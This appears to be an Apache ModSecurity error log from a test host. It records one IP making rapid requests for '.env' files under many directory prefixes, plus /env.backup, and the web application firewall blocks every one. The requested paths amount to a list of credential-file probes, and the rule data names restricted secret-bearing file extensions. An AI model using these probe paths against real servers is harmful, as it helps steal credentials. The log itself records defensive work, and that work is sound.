[Thu Mar 05 21:15:33.787255 2026] [:error] [pid 2503080] [client 195.178.110.34:33032] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aankZSF1I8PfpD5PsEbHuAAAAAI"]
[Thu Mar 05 21:15:33.852857 2026] [:error] [pid 2503080] [client 195.178.110.34:33032] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "aankZSF1I8PfpD5PsEbHuQAAAAI"]
[Thu Mar 05 21:15:33.853025 2026] [:error] [pid 2503080] [client 195.178.110.34:33032] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "aankZSF1I8PfpD5PsEbHuQAAAAI"]
[Thu Mar 05 21:15:33.853177 2026] [:error] [pid 2503080] [client 195.178.110.34:33032] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "aankZSF1I8PfpD5PsEbHuQAAAAI"]
[Thu Mar 05 21:15:34.317725 2026] [:error] [pid 2503080] [client 195.178.110.34:33032] [client 195.178.110.34] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aankZiF1I8PfpD5PsEbHugAAAAI"]
[Thu Mar 05 21:15:34.317928 2026] [:error] [pid 2503080] [client 195.178.110.34:33032] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aankZiF1I8PfpD5PsEbHugAAAAI"]
[Thu Mar 05 21:15:34.318097 2026] [:error] [pid 2503080] [client 195.178.110.34:33032] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aankZiF1I8PfpD5PsEbHugAAAAI"]
[Thu Mar 05 21:15:38.403012 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.vscode/.env"] [unique_id "aankaktXoj5LogBQpfr56wAAAAM"]
[Thu Mar 05 21:15:38.403164 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.vscode/.env"] [unique_id "aankaktXoj5LogBQpfr56wAAAAM"]
[Thu Mar 05 21:15:38.403279 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.vscode/.env"] [unique_id "aankaktXoj5LogBQpfr56wAAAAM"]
[Thu Mar 05 21:15:38.515325 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /js/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js/.env"] [unique_id "aankaktXoj5LogBQpfr57AAAAAM"]
[Thu Mar 05 21:15:38.515484 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js/.env"] [unique_id "aankaktXoj5LogBQpfr57AAAAAM"]
[Thu Mar 05 21:15:38.515634 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js/.env"] [unique_id "aankaktXoj5LogBQpfr57AAAAAM"]
[Thu Mar 05 21:15:38.567902 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aankaktXoj5LogBQpfr57QAAAAM"]
[Thu Mar 05 21:15:38.568056 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aankaktXoj5LogBQpfr57QAAAAM"]
[Thu Mar 05 21:15:38.568199 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aankaktXoj5LogBQpfr57QAAAAM"]
[Thu Mar 05 21:15:38.652729 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "aankaktXoj5LogBQpfr57gAAAAM"]
[Thu Mar 05 21:15:38.652890 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "aankaktXoj5LogBQpfr57gAAAAM"]
[Thu Mar 05 21:15:38.653080 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "aankaktXoj5LogBQpfr57gAAAAM"]
[Thu Mar 05 21:15:38.703104 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mail/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "aankaktXoj5LogBQpfr57wAAAAM"]
[Thu Mar 05 21:15:38.703258 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "aankaktXoj5LogBQpfr57wAAAAM"]
[Thu Mar 05 21:15:38.703404 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "aankaktXoj5LogBQpfr57wAAAAM"]
[Thu Mar 05 21:15:38.779771 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mailer/.env"] [unique_id "aankaktXoj5LogBQpfr58AAAAAM"]
[Thu Mar 05 21:15:38.779936 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mailer/.env"] [unique_id "aankaktXoj5LogBQpfr58AAAAAM"]
[Thu Mar 05 21:15:38.780097 2026] [:error] [pid 2501096] [client 195.178.110.34:33048] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mailer/.env"] [unique_id "aankaktXoj5LogBQpfr58AAAAAM"]
[Thu Mar 05 21:15:38.953904 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nginx/.env"] [unique_id "aankarOJ_wCtIAV5QeJmCgAAAAU"]
[Thu Mar 05 21:15:38.954066 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nginx/.env"] [unique_id "aankarOJ_wCtIAV5QeJmCgAAAAU"]
[Thu Mar 05 21:15:38.954182 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nginx/.env"] [unique_id "aankarOJ_wCtIAV5QeJmCgAAAAU"]
[Thu Mar 05 21:15:39.002658 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aanka7OJ_wCtIAV5QeJmCwAAAAU"]
[Thu Mar 05 21:15:39.002816 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aanka7OJ_wCtIAV5QeJmCwAAAAU"]
[Thu Mar 05 21:15:39.002966 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aanka7OJ_wCtIAV5QeJmCwAAAAU"]
[Thu Mar 05 21:15:39.081737 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aanka7OJ_wCtIAV5QeJmDAAAAAU"]
[Thu Mar 05 21:15:39.081913 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aanka7OJ_wCtIAV5QeJmDAAAAAU"]
[Thu Mar 05 21:15:39.082067 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aanka7OJ_wCtIAV5QeJmDAAAAAU"]
[Thu Mar 05 21:15:39.133921 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xampp/.env"] [unique_id "aanka7OJ_wCtIAV5QeJmDQAAAAU"]
[Thu Mar 05 21:15:39.134080 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xampp/.env"] [unique_id "aanka7OJ_wCtIAV5QeJmDQAAAAU"]
[Thu Mar 05 21:15:39.134230 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xampp/.env"] [unique_id "aanka7OJ_wCtIAV5QeJmDQAAAAU"]
[Thu Mar 05 21:15:39.196684 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /main/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/main/.env"] [unique_id "aanka7OJ_wCtIAV5QeJmDgAAAAU"]
[Thu Mar 05 21:15:39.196842 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/main/.env"] [unique_id "aanka7OJ_wCtIAV5QeJmDgAAAAU"]
[Thu Mar 05 21:15:39.196994 2026] [:error] [pid 2501119] [client 195.178.110.34:33050] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/main/.env"] [unique_id "aanka7OJ_wCtIAV5QeJmDgAAAAU"]
